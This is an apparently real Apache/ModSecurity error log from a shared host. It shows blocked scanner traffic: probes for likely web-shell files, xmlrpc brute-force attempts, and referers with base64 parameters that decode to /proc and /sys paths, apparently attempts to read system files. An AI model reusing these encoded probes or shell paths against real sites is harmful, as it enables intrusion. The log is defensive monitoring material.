[pid 531155:tid 531376] [client 172.56.168.133:28466] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xICmiP80klyS0NnrvFQAAAWU"] [Sat Jun 13 18:09:04.483702 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:04.484149 2026] [access_compat:error] [pid 531797:tid 531888] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:04.508996 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:04.509413 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:04.520324 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.98:43954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:04.520624 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.98:43954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:04.526618 2026] [security2:error] [pid 531155:tid 531277] [remote 17.241.227.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xICmiP80klyS0NnrvHwABcXk"] [Sat Jun 13 18:09:04.567924 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:09:04.568202 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:09:04.619637 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.36:22350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:04.620083 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.36:22350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:04.833053 2026] [security2:error] [pid 531797:tid 531946] [remote 17.22.237.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIMTA7b1mZrmcA-8XygACdVI"] [Sat Jun 13 18:09:04.881064 2026] [security2:error] [pid 531155:tid 531293] [client 20.151.217.54:16970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/crgio.php"] [unique_id "ai3xICmiP80klyS0NnrvLAAAARI"] [Sat Jun 13 18:09:04.906989 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.105:59102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:04.907386 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.105:59102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:04.940205 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:04.940540 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L2N3ZA== [Sat Jun 13 18:09:05.096873 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2U= [Sat Jun 13 18:09:05.097305 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2U= [Sat Jun 13 18:09:05.166612 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:05.166904 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:05.285614 2026] [access_compat:error] [pid 531797:tid 531904] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:05.285876 2026] [access_compat:error] [pid 531797:tid 531904] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:05.357579 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.88:51522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:05.358042 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.88:51522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:05.432444 2026] [security2:error] [pid 531797:tid 532097] [client 20.151.217.54:17069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/ops.php"] [unique_id "ai3xIcTA7b1mZrmcA-8X4wAAAnY"] [Sat Jun 13 18:09:05.439107 2026] [security2:error] [pid 531797:tid 531957] [remote 17.241.75.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIcTA7b1mZrmcA-8X4gACIV0"] [Sat Jun 13 18:09:05.519313 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:05.519757 2026] [access_compat:error] [pid 531797:tid 531884] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:05.563910 2026] [security2:error] [pid 531797:tid 532057] [client 191.233.234.186:53378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/fff.php"] [unique_id "ai3xIcTA7b1mZrmcA-8X6QAAAk8"] [Sat Jun 13 18:09:05.600240 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:09:05.600696 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:09:05.661981 2026] [security2:error] [pid 531797:tid 532113] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strrev_error.phpt"] [unique_id "ai3xIcTA7b1mZrmcA-8X7gAAAoY"] [Sat Jun 13 18:09:05.705714 2026] [security2:error] [pid 531797:tid 532103] [client 20.151.217.54:17075] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/fix.php"] [unique_id "ai3xIcTA7b1mZrmcA-8X7wAAAnw"] [Sat Jun 13 18:09:05.761692 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:05.761975 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:06.021301 2026] [security2:error] [pid 531797:tid 532083] [client 20.151.217.54:17037] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/htto.php"] [unique_id "ai3xIsTA7b1mZrmcA-8X9wAAAmk"] [Sat Jun 13 18:09:06.036786 2026] [security2:error] [pid 531797:tid 531936] [remote 17.22.253.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xIsTA7b1mZrmcA-8X-QAChEg"] [Sat Jun 13 18:09:06.040817 2026] [access_compat:error] [pid 531797:tid 531916] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvOTM5NjUxL25ldA== [Sat Jun 13 18:09:06.041235 2026] [access_compat:error] [pid 531797:tid 531916] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvOTM5NjUxL25ldA== [Sat Jun 13 18:09:06.111080 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:09:06.111404 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:09:06.240241 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:06.240528 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:09:06.373587 2026] [access_compat:error] [pid 531797:tid 531883] [remote 57.141.14.12:27502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:06.373873 2026] [access_compat:error] [pid 531797:tid 531883] [remote 57.141.14.12:27502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:06.435962 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.42:42126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:06.436346 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.42:42126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:06.586671 2026] [security2:error] [pid 531797:tid 531996] [client 20.151.217.54:17051] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/mg.php"] [unique_id "ai3xIsTA7b1mZrmcA-8YDAAAAhQ"] [Sat Jun 13 18:09:06.637501 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L25ldA== [Sat Jun 13 18:09:06.637814 2026] [access_compat:error] [pid 531797:tid 531986] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxNDU2L25ldA== [Sat Jun 13 18:09:06.722794 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:09:06.723258 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:09:06.848109 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:06.848389 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:06.870149 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.60:21144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:06.870410 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.60:21144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:06.925487 2026] [security2:error] [pid 531155:tid 531260] [remote 13.205.160.37:45574] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "agribiolink.com"] [uri "/xmlrpc.php"] [unique_id "ai3xIimiP80klyS0NnrvfQABeWg"] [Sat Jun 13 18:09:06.925679 2026] [security2:error] [pid 531155:tid 531396] [client 13.205.160.37:45574] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "agribiolink.com"] [uri "/xmlrpc.php"] [unique_id "ai3xIimiP80klyS0NnrvfQABeWg"] [Sat Jun 13 18:09:07.000047 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.7:56273] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:07.000524 2026] [access_compat:error] [pid 531155:tid 531186] [remote 57.141.14.7:56273] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:07.090237 2026] [security2:error] [pid 531797:tid 532009] [client 191.234.188.123:47971] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/mini.php"] [unique_id "ai3xI8TA7b1mZrmcA-8YGwAAAiE"] [Sat Jun 13 18:09:07.093600 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL25ldA== [Sat Jun 13 18:09:07.093906 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL25ldA== [Sat Jun 13 18:09:07.094808 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.48:53279] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:07.095078 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.48:53279] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:07.136062 2026] [security2:error] [pid 531797:tid 532014] 